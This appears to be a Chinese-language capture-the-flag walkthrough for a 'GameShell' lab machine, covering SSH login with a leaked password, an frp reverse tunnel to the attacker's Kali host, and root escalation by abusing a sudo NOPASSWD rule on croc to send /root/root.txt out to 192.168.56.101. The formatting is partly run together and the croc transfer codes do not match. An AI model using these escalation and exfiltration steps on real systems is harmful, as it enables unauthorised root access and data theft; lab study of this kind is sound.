||--+---------------------------------------------------+--
| Run the command|| $ gsh goal || to discover your first mission. |||| You can check the mission has been completed with || $ gsh check |||| The command|| $ gsh help|| displays the list of available (gsh) commands. |--+---------------------------------------------------+--
||
[mission 1] $ gsh help ,-------------------------------------------------------------------------------------.
(_\ \
| Commands specific to GameShell ||==============================|||| gsh check || check whether the current mission's goal has been achieved or not |
| |
| gsh exit / Control-d |
| quit GameShell |
| (you can start from the current mission by running GameShell with the "-C" flag) |
| |
| gsh goal [N] |
| show the current mission's goal ||if n is given, show the goal for mission N |||| gsh help|| shorter help message |||| gsh reset || reset the current mission | _||(_/_______________________________________________________________________________(*)___/
\\)) ^
gsh goal [N]: 展示当前的任务，假如 n 被指定，展示第n个任务目标
gsh reset : 重置当前的任务
gsh exit : 退出GameShell
1
2
[mission 1] $ gsh
check exit goal help index log reset resetstatic stat version welcome
[mission 1] $ gsh goal 45 _________________________________________________________________________________
/\ \
(O)===)><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><)==(O)\/''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''/
(())( Congratulations! ())( You have finished all the missions. ())( You can now quit GameShell, or go back to some old missions. ())( Use ``gsh HELP`` to get a list of all GameShell commands. () The commands ``gsh index`` and ``gsh goto N`` are particularly interesting. )(() Note: the admin password has been changed to 'qwerty'. )(())(( /\''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\
(O)===)><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><)==(O)\/________________________________________________________________________________/
从最后一关提取的信息：可以通过gsh goto N 跳转到任意关卡，gsh index 查看当前的任务列表，这个命令上面已经实践过了。提示：admin的密码已经被设置为了qwerty。尝试进入第45个任务：
root@kali:/tmp/123# ssh silo@192.168.56.156 -p 22** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
silo@192.168.56.156's password:
Linux GameShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 28 04:57:13 2026 from 192.168.56.101
silo@GameShell:~$ ls -al
total 16556drwx------ 3 silo silo 4096 Apr 28 05:31 .
drwxr-xr-x 4 root root 4096 Nov 17 11:21 ..
lrwxrwxrwx 1 root root 9 Nov 17 11:25 .bash_history -> /dev/null
-rw-r--r-- 1 silo silo 220 Apr 182019 .bash_logout
-rw-r--r-- 1 silo silo 3526 Apr 182019 .bashrc
-rwxr-xr-x 1 silo silo 16707768 Apr 28 05:31 frpc
-rw-r--r-- 1 silo silo 210 Apr 28 05:31 frpc.toml
-rw-r--r-- 1 silo silo 807 Apr 182019 .profile
-rwxr-xr-x 1 silo silo 207872 Apr 28 05:14 ss
drwxr-xr-x 2 silo silo 4096 Nov 18 08:53 .ssh
-rw-r--r-- 1 root root 44 Nov 17 11:16 user.txt
silo@GameShell:~$ cat user.txt
flag{user-83add0ab24dcdb4f7a201772f1c10789}
root@kali:/tmp/123# ./frps -c frps.toml
2026-04-29 04:20:08.348 [I][frps/root.go:115] frps uses config file: frps.toml
2026-04-29 04:20:08.476 [I][server/service.go:246] frps tcp listen on 0.0.0.0:7000
2026-04-29 04:20:08.476 [I][frps/root.go:124] frps started successfully
# 这标明 frps 成功启动 kali终端silo@GameShell:~$ ./frpc -c frpc.toml
2026-04-29 04:20:40.698 [I][sub/root.go:201] start frpc service for config file [frpc.toml] with aggregated configuration
2026-04-29 04:20:40.707 [I][client/service.go:378] try to connect to server...
2026-04-29 04:20:40.740 [I][client/service.go:370][1db339b68f3cb869] login to server success, get run id [1db339b68f3cb869]2026-04-29 04:20:40.746 [I][proxy/proxy_manager.go:180][1db339b68f3cb869] proxy added: [tcp]2026-04-29 04:20:40.774 [I][client/control.go:176][1db339b68f3cb869][tcp] start proxy success
# 这标明frpc 成功启动 并且已经把端口代理到 192.168.56.101:39666 上。
eviden 系统信息收集
1
2
3
4
5
6
7
8
eviden@GameShell:/$ id
uid=1001(eviden)gid=1001(eviden)groups=1001(eviden)eviden@GameShell:/$ sudo -l
Matching Defaults entries for eviden on GameShell:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User eviden may run the following commands on GameShell:
(ALL) NOPASSWD: /usr/local/bin/croc
eviden@GameShell:/$ croc -h
NAME:
croc - easily and securely transfer stuff from one computer to another
USAGE:
croc [GLOBAL OPTIONS][COMMAND][COMMAND OPTIONS][filename(s) or folder] USAGE EXAMPLES:
Send a file:
croc send file.txt
-git to respect your .gitignore
Send multiple files:
croc send file1.txt file2.txt file3.txt
or
croc send *.jpg
Send everything in a folder:
croc send example-folder-name
Send a file with a custom code:
croc send --code secret-code file.txt
Receive a file using code:
croc secret-code
VERSION:
v10.2.7
COMMANDS:
send send file(s), or folder (see options with croc send -h) relay start your own relay (optional) help, h Shows a list of commands or helpfor one commandGLOBAL OPTIONS:
--internal-dns use a built-in DNS stub resolver rather than the host operating system (default: false) --classic toggle between the classic mode (insecure due to local attack vector) and new mode (secure)(default: false) --remember save these settings to reuse next time(default: false) --debug toggle debug mode (default: false) --yes automatically agree to all prompts (default: false) --stdout redirect file to stdout (default: false) --no-compress disable compression (default: false) --ask make sure sender and recipient are prompted (default: false) --local force to use only local connections (default: false) --ignore-stdin ignore piped stdin (default: false) --overwrite do not prompt to overwrite or resume (default: false) --testing flag for testing purposes (default: false) --multicast value multicast address to use forlocal discovery (default: "239.255.255.250") --curve value choose an encryption curve (p521, p256, p384, siec, ed25519)(default: "p256") --ip value set sender ip if known e.g. 10.0.0.1:9009, [::1]:9009
--relay value address of the relay [$CROC_RELAY] --relay6 value ipv6 address of the relay [$CROC_RELAY6] --out value specify an output folder to receive the file (default: ".") --pass value password for the relay (default: "pass123")[$CROC_PASS] --socks5 value add a socks5 proxy [$SOCKS5_PROXY] --connect value add a http proxy [$HTTP_PROXY] --throttleUpload value throttle the upload speed e.g. 500k
--help, -h show help(default: false) --version, -v print the version (default: false)
权限提升
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
eviden@GameShell:/$ sudo croc -ip 192.168.56.101 send /root/root.txt
Sending 'root.txt'(44 B)Code is: 6322-bandit-caramel-block
On the other computer run:
(For Windows) croc 6322-bandit-caramel-block
(For Linux/macOS)CROC_SECRET="6322-bandit-caramel-block" croc
# 靶机root@kali:~# croc 1287-miracle-forest-sahara
Accept 'root.txt'(44 B)? (Y/n) y
Receiving (<-192.168.56.156:9009) root.txt 100% |████████████████████|(44/44 B, 961 B/s)# kaliroot@kali:~# cat root.txt
flag{root-fcf32fac298a31661e06e3d37148a21a}
wArn
